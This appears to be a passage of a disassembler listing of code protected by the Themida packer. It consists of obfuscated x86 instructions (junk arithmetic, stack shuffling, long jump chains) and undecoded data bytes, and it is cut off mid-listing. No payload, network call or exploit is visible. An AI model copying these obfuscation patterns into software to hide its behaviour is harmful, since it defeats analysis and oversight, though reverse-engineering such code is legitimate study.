		jmp	loc_5617DB
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4B850h, 7CE90000h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564BCF:				; CODE XREF: Themida_:0056B725j
		pop	esp
		jmp	loc_56491F
; ---------------------------------------------------------------------------
		db 5Eh,	68h, 4
		dd 5F3AAD7Dh, 207AEF81h, 0C7810CFFh, 70CA6BE8h,	0EF81CF29h
		dd 70CA6BE8h, 5A35E9h, 0CDEE8000h, 0C6E9F188h, 8B000014h
		dd 4EE92404h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564C07:				; CODE XREF: Themida_:0056CD94j
		or	eax, 309C7DBBh
		and	eax, 481329C8h
		xor	eax, 681D20C3h
		dec	eax
		jmp	loc_56B881
; ---------------------------------------------------------------------------
		dd 535DEE01h, 4BBh, 0BF9CE900h,	8CBB0000h, 0F77B1B3Dh
		dd 7F45E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C36:				; CODE XREF: Themida_:00561AD1j
		mov	[esp], ebp
		push	ebx
		mov	ebx, 2F4827D6h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 2B30577Ah
		add	eax, 485F6743h
		add	eax, 23D17A06h
		sub	eax, ebp
		jmp	loc_5699CA
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 4
		dd 8B665C24h, 0E9562404h, 7B24h
; ---------------------------------------------------------------------------


loc_564C6C:				; CODE XREF: Themida_:0056DA25j
		mov	esp, [esp]
		jmp	loc_56B53C
; ---------------------------------------------------------------------------
		dd 9CC88566h, 0FF76A6E9h, 77E959FFh
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564C83:				; CODE XREF: Themida_:005710BEj
		add	ebp, 4
		push	ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56D149
; ---------------------------------------------------------------------------
		dw 2D68h
		dd 593A9610h, 8159CE01h, 0A4B81DEEh, 5EF30165h,	14E3B951h
		dd 0ADE91A78h, 890000B4h, 405E0h, 0C0830000h, 24048704h
		dd 4EC815Ch, 0E9000000h, 36A7h
; ---------------------------------------------------------------------------


loc_564CD0:				; CODE XREF: Themida_:0056B069j
		mov	[esp], esi
		jmp	loc_56D88F
; ---------------------------------------------------------------------------
		dd 0A904C581h, 0EB012B62h, 0FF78F8E9h, 0C7815FFFh, 1, 7281EF81h
		dd 0F78168DBh, 0EE361BA3h, 3C8BF989h, 4C48324h,	94246FBBh
		dd 59CB3173h, 0F7D3F74Bh, 2EBC1DBh, 0FFCFCDE9h,	58C189FFh
		dd 2016C681h, 8AE93E10h, 83000009h, 5D042404h, 4C581h
		dd 0C5810000h, 4, 0E9242C87h, 7A80h
; ---------------------------------------------------------------------------


loc_564D3C:				; CODE XREF: Themida_:0056CE41j
		add	edx, ecx
		pop	ecx
		push	edx
		jmp	loc_5650A2
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 5B04C483h, 34FFF501h, 0C4835E24h, 0AAE95104h, 29FFFFF6h
		dd 0BEB6E9D7h, 0E953FFFFh, 15ADh
dword_564D68	dd 6824048Bh, 5792h, 0E9241C89h, 0FFFF94DCh ; DATA XREF: Themida_:0055C194o
; ---------------------------------------------------------------------------


loc_564D78:				; CODE XREF: Themida_:005664CBj
		push	dword ptr [esp]
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_56A250
; ---------------------------------------------------------------------------
		dw 483h
		dd 48F0424h, 24048124h,	4, 0EC83515Eh, 24348904h, 21306857h
		dd 0C15F3A71h, 0EFD107EFh, 0F781DFF7h, 0D395D9C9h, 24048157h
		dd 50195E49h, 49EE815Eh, 5F50195Eh, 587AE681h, 0EE92A7Fh
		dd 5C0000A2h, 0FFC616E9h, 0F6EB81FFh, 0E902AD0Dh, 0FFFFCC66h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 0B3241C89h, 2E3C052h
		dd 6837B551h, 34FAh, 0B6241489h, 0BF18E92Dh, 1AB80000h
		dd 2D574E7Ch, 309D1CC6h, 127DE9h
		db 0
; ---------------------------------------------------------------------------


loc_564E15:				; CODE XREF: Themida_:0057130Ej
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, 1D086EAAh
		sub	esi, 0CA414A4h
		sub	esi, eax
		add	esi, 0CA414A4h
		push	ecx
		push	309Dh
		mov	[esp], edi
		mov	edi, 1D086EAAh
		mov	ecx, edi
		pop	edi
		sub	esi, ecx
		pop	ecx
		pop	eax
		push	esi
		jmp	loc_56A7D6
; ---------------------------------------------------------------------------
		db 68h
		dd 31EFh, 68241489h, 24AC6803h,	8324148Bh, 0D30104C4h
		dd 0E92434FFh, 93FDh, 5DC0C181h, 0C8294B9Eh, 56525159h
		dd 0F90511BEh, 0B07FE93Bh, 8159FFFFh, 4E458BCAh, 0A0EA813Ah
		dd 557D6F20h, 1D5625BDh, 0C0F58171h, 55347832h,	0FFF3B9E9h
		dd 24048FFFh, 8768535Ch, 89000026h, 95682434h, 89000069h
		dd 0A0E9240Ch, 81000098h, 4C0250EBh, 89C3817Eh,	5A6CA149h
		dd 0FFE393E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564ED1:				; CODE XREF: Themida_:00562F02j
		mov	ebp, ecx
		push	eax
		push	esi
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		jmp	loc_563F52
; ---------------------------------------------------------------------------


loc_564EDF:				; CODE XREF: Themida_:0056755Aj
		mov	[esp], eax
		jmp	loc_56D7E3
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF869CE9h, 0EC8356FFh, 24248904h, 4BB53h, 5C010000h
		dd 0E7E90424h, 8100006Dh, 4C4h,	0FFEE8300h, 0C683DEF7h
		dd 3E6C101h, 3A05BB53h,	0F381347Ch, 0B6F070Ah, 23EFE955h
		dd 53590000h, 52A7E9h
		db 0
byte_564F2D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C154o
aHir		db '$hr',0
		align 2
		dw 2C89h
		dd 56E58924h, 4BEh, 116AE900h, 0C6810000h, 5CE5536Eh, 0EE81CE29h
		dd 5CE5536Eh, 21D3E9h, 2EEC100h, 60EDEE81h, 0FF56409Ah
		dd 555E2404h, 233050BDh, 5DEE090Eh, 8102E6C1h, 62B537EEh
		dd 5EF0891Ah, 8158C129h, 9F2E23F1h, 0C670E908h,	314DFFFFh
		dd 31C531E8h, 4A1E2DE8h, 0CFE957A8h, 0FF000056h, 0E9592434h
		dd 0AF98h, 8904EC83h, 0EBE9242Ch
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_564FAF:				; CODE XREF: Themida_:0056B954j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55EAA3
; ---------------------------------------------------------------------------
		db 83h,	0EDh, 4
		dd 4EC81h, 2C890000h, 34ACE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564FCE:				; CODE XREF: Themida_:00560F22j
		mov	edx, 35926395h
		and	edx, 4C931CAEh
		jmp	loc_565E80
; ---------------------------------------------------------------------------


loc_564FDE:				; CODE XREF: Themida_:00568CDFj
		mov	edi, eax
		jmp	loc_56D20C
; ---------------------------------------------------------------------------
		db 68h,	2, 0
		dd 0AAE90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564FEF:				; CODE XREF: Themida_:00569CA1j
		mov	[esp], edi
		push	esi
		jmp	loc_566AC0
; ---------------------------------------------------------------------------


loc_564FF8:				; CODE XREF: Themida_:0056973Bj
		mov	edi, 22A4363Ch
		and	ebp, edi
		jmp	loc_567339
; ---------------------------------------------------------------------------
		dd 21E7CD81h, 0ED812CCCh, 0FEAA77E8h, 515DE901h, 8324348Bh
		dd 1AE904C4h, 5200009Eh, 5A2404FFh, 26EEF281h, 0D00170FDh
		dd 7B77E95Ah, 0E6890000h, 4EC81h, 0E3E90000h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56503F:				; CODE XREF: Themida_:0055E553j
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_56E686
; ---------------------------------------------------------------------------


loc_56504E:				; CODE XREF: Themida_:0056F2CEj
		sub	eax, esi
		jmp	loc_56679B
; ---------------------------------------------------------------------------
		db 0B1h, 6Ah, 80h
		dd 0E980AEE1h, 0BECCE918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565062:				; CODE XREF: Themida_:005659BFj
		pop	edi
		sub	edx, esi
		pop	esi
		add	edx, ecx
		add	edx, 798D0AE8h
		add	edx, 76B56B33h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_565BA7
; ---------------------------------------------------------------------------
		db 89h
		dd 0CA295AD1h, 0D6B85059h, 0F714C941h, 3FE368D0h, 65E90000h
		dd 8100008Dh, 382C39E5h, 5156E919h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5650A2:				; CODE XREF: Themida_:00564D40j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_566B51
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 2243E9h
		db 0
; ---------------------------------------------------------------------------


loc_5650BD:				; CODE XREF: Themida_:0056C6C0j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		and	ebx, edx
		jmp	loc_5666E6
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 6BFD6EE7h, 6F3EF181h, 0D9F76E00h, 6B72E981h,	0C181149Fh
		dd 265122C4h, 7D77C681h, 4E939DDh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5650F7:				; CODE XREF: Themida_:0056BEC9j
		add	ebx, 4A26482Dh
		pop	ecx
		add	ebx, eax
		sub	ebx, 47BC7B8Ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_566801
; ---------------------------------------------------------------------------
		db 83h
		dd 54E9FFC6h, 8900003Ah, 13B2E9E7h, 0E95C0000h,	9E23h
; ---------------------------------------------------------------------------


loc_565124:				; CODE XREF: Themida_:0056585Dj
		not	edx
		shl	edx, 2
		sub	edx, 4A6447AAh
		xor	edx, edi
		pop	edi
		jmp	loc_56FEED
; ---------------------------------------------------------------------------


loc_565137:				; CODE XREF: Themida_:0056E38Ej
		add	eax, edx
		push	dword ptr [esp]
		jmp	loc_55E690
; ---------------------------------------------------------------------------
		db 1, 0C8h, 0E9h
		dd 634Fh, 5C241C87h, 0CE9DA29h,	810000AAh, 4C1h, 4C18300h
		dd 0E9240C87h, 0FFFF81BCh, 8924248Bh, 9C502414h, 0FFD995E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565171:				; CODE XREF: Themida_:00569FD4j
		mov	ebp, 5A8C4C4Bh
		sub	ebx, ebp
		pop	ebp
		pop	ecx
		jmp	loc_56D64D
; ---------------------------------------------------------------------------
byte_56517F	db 0FFh			; DATA XREF: Themida_:0055C2D8o
		dd 51582434h, 0C181E189h, 4, 0E7AEE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565192:				; CODE XREF: Themida_:0056FE36j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_561EAC
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 3C895C24h, 446ABF24h, 0DFF73973h, 0BB92EF81h, 93E9C68Ch
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5651C7:				; CODE XREF: Themida_:00569D22j
		not	ebp
		inc	ebp
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		push	ecx
		mov	ecx, 6F95276h
		xor	ebp, ecx
		pop	ecx
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 17963BC3h
		jmp	loc_570881
; ---------------------------------------------------------------------------
aMht		db 'hT+',0             ; DATA XREF: Themida_:0055C1D8o
		dd 24148900h, 0FFB3DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5651FD:				; CODE XREF: Themida_:0056E95Ej
		add	esp, 4
		push	eax
		jmp	loc_55FACA
; ---------------------------------------------------------------------------


loc_565209:				; CODE XREF: Themida_:0056D8D4j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5633D6
; ---------------------------------------------------------------------------
aHr3		db '^hr3',0
		dw 8900h
		dd 0E189240Ch, 687EE9h,	24443100h, 24048B04h, 0FF04C483h
		dd 34FF2434h, 7528E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56523A:				; CODE XREF: Themida_:00568366j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5689A8
; ---------------------------------------------------------------------------
		db 1, 0F5h, 5Eh
		dd 2474FF55h, 48F5D04h,	24248B24h, 0FFB781E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565259:				; CODE XREF: Themida_:0056CE0Aj
		push	eax
		mov	eax, 4
		sub	ebp, 72491C20h
		add	ebp, 455D0F7Fh
		add	ebp, eax
		sub	ebp, 455D0F7Fh
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5667AE
; ---------------------------------------------------------------------------


loc_56527E:				; CODE XREF: Themida_:0055FC02j
		pop	ecx
		add	eax, 61B60FF9h
		and	eax, 4C187413h
		push	ebx
		jmp	loc_56C007
; ---------------------------------------------------------------------------


loc_56528F:				; CODE XREF: Themida_:0056253Cj
		push	4785h
		jmp	loc_55EA19
; ---------------------------------------------------------------------------


loc_565299:				; CODE XREF: Themida_:00563DDCj
		sub	dword ptr [esp], 15083652h
		pop	ecx
		jmp	loc_56790E
; ---------------------------------------------------------------------------


loc_5652A6:				; CODE XREF: Themida_:0056B313j
		pop	eax
		add	esi, 4
		push	esi
		jmp	loc_55DDD3
; ---------------------------------------------------------------------------
		db 0F7h
aSv		db 'V!',0
		align 2


loc_5652BA:				; CODE XREF: Themida_:005600F6j
		mov	eax, 345A4DDEh
		not	eax
		jmp	loc_560779
; ---------------------------------------------------------------------------


loc_5652C6:				; CODE XREF: Themida_:0056EB94j
		pop	ebx
		pop	ecx
		and	eax, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_563F21
; ---------------------------------------------------------------------------
aIIcsem		db '<$e',0
		align 4
		dd 48EFBA52h, 0E2813DEAh, 2D595CA2h, 424AE2D1h,	4C04E9h
		db 0
; ---------------------------------------------------------------------------


loc_565301:				; CODE XREF: Themida_:0056D05Bj
		push	edx
		mov	edx, 2FA9046Dh
		neg	edx
		jmp	loc_56CBF9
; ---------------------------------------------------------------------------


loc_56530E:				; CODE XREF: Themida_:005709E3j
		add	esp, 4
		push	edx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 8282C66Dh
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	30A3h
		mov	[esp], edx
		push	2F19h
		mov	[esp], edi
		mov	edi, 65B15108h
		not	edi
		add	edi, 0FFFFFFFFh
		shl	edi, 4
		sub	edi, 558B4D62h
		shr	edi, 3
		jmp	loc_56B0FA
; ---------------------------------------------------------------------------
aUsD		db 'U:',0
		db 0
; ---------------------------------------------------------------------------


loc_56535B:				; CODE XREF: Themida_:0055DE09j
		add	esi, 4
		add	esi, 4
		jmp	loc_56C9EE
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0F7h
		dd 894E9F42h, 0C0E95FFDh
		db 0AFh, 2 dup(0FFh)
byte_565377	db 66h			; DATA XREF: Themida_:0055C1DCo
		dd 0E9240C8Bh, 4F83h, 0E904E5C1h, 0FFFFCD85h
dword_565388	dd 358D05ADh, 68536303h, 112F035Fh, 146EE9h, 24048900h
					; DATA XREF: Themida_:0055C1CCo
		dd 0E5BB8BB8h, 393EE9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5653A6:				; CODE XREF: Themida_:0056B1D6j
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		shr	ecx, 7
		push	42Eh
		jmp	loc_568122
; ---------------------------------------------------------------------------
		dd 4D8285Ah, 6DA3E91Bh,	0EDC10000h, 0BED8103h, 8994C727h
		dd 0BDE95DEEh
		db 0EEh, 2 dup(0FFh)
byte_5653DB	db 52h			; DATA XREF: Themida_:0055C11Co
		dd 1C68h, 2434FF00h, 8324148Bh,	0C7E904C4h, 81FFFFBEh
		dd 332423E9h, 0E9D9F74Bh, 0FFFFAC40h, 480AC681h, 8158469Eh
		dd 9E3E13C6h, 0DAC68146h, 592E8568h, 2474FF56h,	24348B04h
		dd 4C481h, 48F0000h, 24248B24h,	0E9240489h, 0FFFF6EF7h
		dd 4244C01h, 0E9240C8Bh, 0FFFF881Eh, 42E068h, 4EC8300h
		dd 81242489h, 42404h, 48F0000h,	4BA5224h, 1000000h, 8B042454h
		dd 0C6E92414h, 5C000016h, 0E9241C87h, 0FFFF9A6Fh
; ---------------------------------------------------------------------------


loc_565468:				; CODE XREF: Themida_:0056E75Aj
		pop	edx
		push	101Eh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_567EC4
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 5004C483h, 0C6CE9h
		db 0
byte_565489	db 0ADh, 52h, 0BAh	; DATA XREF: Themida_:0055C08Co
		dd 1211387h, 8107E2C1h,	0AE04D0F2h, 0E7C2813Dh,	2960655Dh
		dd 212D5AD0h, 2967A838h, 382105D8h, 0E95267A8h,	198Fh
; ---------------------------------------------------------------------------


loc_5654B4:				; CODE XREF: Themida_:0056A7DEj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56A09D
; ---------------------------------------------------------------------------


loc_5654C2:				; CODE XREF: Themida_:0056BD86j
		pop	eax
		add	esp, 4


loc_5654C6:				; CODE XREF: Themida_:0055F61Ej
		push	66FEh
		mov	[esp], ecx
		jmp	loc_56CCB4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2474FF56h, 48F5E04h,	6650E924h, 0C0580000h, 0E98003E9h
		dd 0FFC18001h, 0FFD0BCE9h, 0C1835BFFh, 240C8704h, 75BA525Ch
		dd 4A0E575Dh, 5602EAC1h, 95D759BEh, 5EF23103h, 3C05E9h
		db 0
byte_565511	db 81h,	0ECh, 4		; DATA XREF: Themida_:0055C0B4o
		dd 89000000h, 6857242Ch, 3BD3h,	0FFEA54E9h, 24048FFFh
		dd 4240481h, 58000000h,	405h, 7422E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56553A:				; CODE XREF: Themida_:0055CB11j
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 0F63319Eh
		jmp	loc_55C5BE
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 4BF575Ch, 0E9000000h, 939h
dword_565580	dd 8801E9ADh		; DATA XREF: Themida_:0055C1D0o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565586:				; CODE XREF: Themida_:0056C4B3j
		add	eax, ebp
		add	eax, 5F472779h
		jmp	loc_56F88E
; ---------------------------------------------------------------------------
		dw 8CE9h
		db 6Dh,	2 dup(0FFh)
byte_565597	db 66h			; DATA XREF: Themida_:0055C2A0o
		dd 8124048Bh, 4ECh, 3651E900h, 0C3000000h, 0FFD89AE9h
		dd 4C083FFh, 0E9240487h, 0FFFF976Ch, 0DBF65CB3h, 0C0FFC380h
		dd 0D3F604EBh, 0E5E9D3F6h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5655CB:				; CODE XREF: Themida_:00570625j
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		add	edx, eax
		push	eax
		jmp	loc_56F8C9
; ---------------------------------------------------------------------------
		dw 1489h
		dd 148B5424h, 0E7895724h, 4C781h, 0C7830000h, 243C3304h
		dd 0E9243C31h, 0FFFFDF6Fh, 0FF6D26E9h, 244481FFh, 3110C908h
		dd 44815D0Bh, 73DF0424h, 34FF51EEh, 0C4815F24h,	4, 8C2815Ah
		dd 0E92B8A20h, 0FFFF6CFFh
; ---------------------------------------------------------------------------


loc_565624:				; CODE XREF: Themida_:00560872j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_56ED63
; ---------------------------------------------------------------------------
		db 54h
		dd 83241C8Bh, 0B5E904C4h, 50FFFF8Fh, 0A158BAB8h, 0E9D0F74Eh
		dd 0FFFFDFC1h
; ---------------------------------------------------------------------------


loc_565654:				; CODE XREF: Themida_:0056FEE8j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	eax, 63C9ADh
		add	eax, edi
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		jmp	loc_563556
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E902C283h, 2051h, 68h, 0AC16E900h, 483FFFFh, 815F0424h
		dd 4C7h, 25F0E900h, 0C8290000h,	592434FFh, 3104C483h, 30FF66C3h
		dd 0FF6C76E9h, 81CE01FFh, 102016EEh, 2434FF3Eh,	9B78E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656BE:				; CODE XREF: Themida_:00562EDAj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	37E4h
		mov	[esp], ecx
		jmp	loc_5678DA
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4A0673F1h, 5B4EEF81h, 0EF811C67h, 47182FF5h,	7078E9h
		db 0
byte_5656E9	db 0FFh, 74h, 24h	; DATA XREF: Themida_:0055C0CCo
		dd 2434FF04h, 8124048Bh, 4ECh, 24048900h, 0E904EC83h, 0FFFFE0EAh
		dd 5EF12159h, 8904EC83h, 14F7240Ch, 0BE565924h,	5A8D1724h
		dd 51B1F681h, 0FAE931A9h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565723:				; CODE XREF: Themida_:005611FEj
		add	esp, 4
		jmp	loc_56493B
; ---------------------------------------------------------------------------
		db 80h
		dd 0ED803FF3h, 80DD2852h, 85B52C5h, 0F68059EEh,	4F83E926h
		dd 4050000h, 0E9000000h, 5B62h,	52E8285Ah, 0E953CBB6h
		dd 5847h
; ---------------------------------------------------------------------------


loc_565758:				; CODE XREF: Themida_:00568D30j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	ebx
		mov	ebx, 58D17A7Ah
		xor	ebx, 1D1C35CEh
		jmp	loc_56CC2D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 3D44E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56577E:				; CODE XREF: Themida_:0055F7C5j
		pop	dword ptr [esp]
		jmp	loc_56753F
; ---------------------------------------------------------------------------
word_565786	dw 8B66h		; DATA XREF: Themida_:0055C29Co
		dd 54522404h, 7659E9h
		db 0
; ---------------------------------------------------------------------------


loc_565791:				; CODE XREF: Themida_:0056EF71j
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_55F3BB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E18103E1h, 48C535FCh, 0D6F7F187h, 0CE31F131h, 0E981F131h
		dd 1, 4A76E9h, 7BC68100h, 12B470Eh, 7BEE81D6h, 5A2B470Eh
		dd 4BA52h, 0D6010000h, 9AF1E95Ah, 0C8B0000h, 3DDCE924h
		dd 0C1800000h, 280504CDh, 0FF052CC8h, 81592434h, 4C4h
		dd 3ABF6800h, 0C890000h, 0E9A7B524h, 9157h, 0E9241C8Bh
		dd 0FFFFB9BCh
; ---------------------------------------------------------------------------


loc_565814:				; CODE XREF: Themida_:0056D380j
		add	esp, 4
		jmp	loc_56CBB9
; ---------------------------------------------------------------------------
		db 80h
		dd 0B60FD2EBh, 702EE9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56582A:				; CODE XREF: Themida_:00563B0Aj
		mov	eax, 0F6B53B1h
		xchg	eax, ecx
		inc	ecx
		xchg	eax, ecx
		sub	eax, 3E326A07h
		xor	eax, 19BD644Fh
		shl	eax, 6
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	6ADh
		jmp	loc_56A603
; ---------------------------------------------------------------------------
		dw 0B1h
		dd 4AE9CC88h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565857:				; CODE XREF: Themida_:0055F444j
		pop	ebp
		mov	edx, 56626152h
		jmp	loc_565124
; ---------------------------------------------------------------------------
aYiSi5		db 'Y[5',0
		dw 5900h
		dd 6804C483h, 114Fh, 0B8240489h, 4, 2BE9C101h
		db 91h,	2 dup(0)
byte_565883	db 0FFh			; DATA XREF: Themida_:0055C2B8o
		dd 669D1C77h, 2414D359h, 6A91E99Ch, 0EC83FFFFh,	24148904h
		dd 0BB53E289h, 4, 0FFD981E9h, 0EC8153FFh, 4, 0E9240489h
		dd 0FFFF74A9h
; ---------------------------------------------------------------------------


loc_5658B4:				; CODE XREF: Themida_:00563D61j
		mov	ebx, [esp]
		jmp	loc_560A12
; ---------------------------------------------------------------------------
		dd 5940C22Dh, 2434FF39h, 0C0E9535Dh, 81FFFFB6h,	4C4h, 8BCB2900h
		dd 18E9240Ch
		db 89h,	2 dup(0FFh)
byte_5658DB	db 0FFh			; DATA XREF: Themida_:0055C238o
		dd 669D1C77h, 24041058h, 6A39E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5658EA:				; CODE XREF: Themida_:0056BB66j
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	5606520Ch
		pop	eax
		jmp	loc_562D69
; ---------------------------------------------------------------------------
		db 50h
		dd 0BD2514B8h, 0A7C28141h, 81096A0Bh, 0F948C7EAh, 81C22921h
		dd 0F948C7C2h, 0A7EA8121h, 0E9096A0Bh, 4376h
; ---------------------------------------------------------------------------


loc_565930:				; CODE XREF: Themida_:0056A044j
		or	esi, 735A5AE3h
		add	esi, 0B50DC6DEh
		shl	esi, 3
		dec	esi
		add	esi, 5ABC056Ch
		jmp	loc_562094
; ---------------------------------------------------------------------------
		db 53h
		dd 1C7FD568h, 0E3D15B7Bh, 0FF8CFDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565959:				; CODE XREF: Themida_:0056E5B6j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55F5C3
; ---------------------------------------------------------------------------


loc_565972:				; CODE XREF: Themida_:00566042j
		push	5B07h
		mov	[esp], ebx
		xor	dword ptr [esp], 6DCF5E67h
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56DB77
; ---------------------------------------------------------------------------


loc_565990:				; CODE XREF: Themida_:0056148Aj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55E379
; ---------------------------------------------------------------------------


loc_56599E:				; CODE XREF: Themida_:0055C853j
		sub	esi, 77C22592h
		push	edi
		mov	edi, 6D013319h
		xor	edi, 0EB95FB2h
		dec	edi
		or	edi, 68A969C2h
		sub	edi, 0D560879Ch
		sub	esi, edi
		jmp	loc_565062
; ---------------------------------------------------------------------------
dword_5659C4	dd 8324048Bh, 14E904ECh, 1000030h, 2434FFEEh, 4C4815Dh
					; DATA XREF: Themida_:0055C13Co
		dd 81000000h, 2C6h, 4EC8300h, 0FF243489h, 8B042474h, 89502434h
		dd 405E0h, 0C0830000h, 24043304h, 0FFE40FE9h, 240489FFh
		dd 0AB670DB8h, 6711BE0Bh, 0C6290BABh, 24740158h, 1C8B5E04h
		dd 4EC8124h, 89000000h,	5954240Ch, 0FFB046E9h, 4C681FFh
		dd 83000000h, 49E904ECh, 0FF0000AFh, 1EE92434h,	2900004Eh
		dd 243C8BF9h, 8104C483h, 973DBC7h, 81CF0126h, 973DBEFh
		dd 240C8B26h, 8B04C483h, 36E92434h, 89FFFF9Bh, 0E954241Ch
		dd 0FFFFC4DDh, 8BEE015Dh, 0C481242Ch, 4, 4EC81h, 2C890000h
		dd 4BD24h, 0C6810000h, 3A7F4189h, 0EE81EE01h, 3A7F4189h
		dd 81242C8Bh, 4C4h, 24343300h, 33243431h, 248B2434h, 624E924h
		dd 89500000h, 86F9E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565AB6:				; CODE XREF: Themida_:00566660j
		pop	eax
		push	13F5h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		push	ebp
		mov	ebp, 30DE0EAAh
		not	ebp
		add	ebp, 295278F8h
		or	ebp, 608C4775h
		sub	ebp, 0C084A0Dh
		dec	ebp
		sub	ebp, 0ECF4256Bh
		jmp	loc_55FBEC
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E9241487h, 97EAh, 6F7BB850h, 16E966B3h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B07:				; CODE XREF: Themida_:00563E35j
		add	edi, 6B4E7C16h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	edi, 3D2741F0h
		add	edi, 460125CFh
		add	edi, ecx
		sub	edi, 460125CFh
		push	7DB2h
		mov	[esp], eax
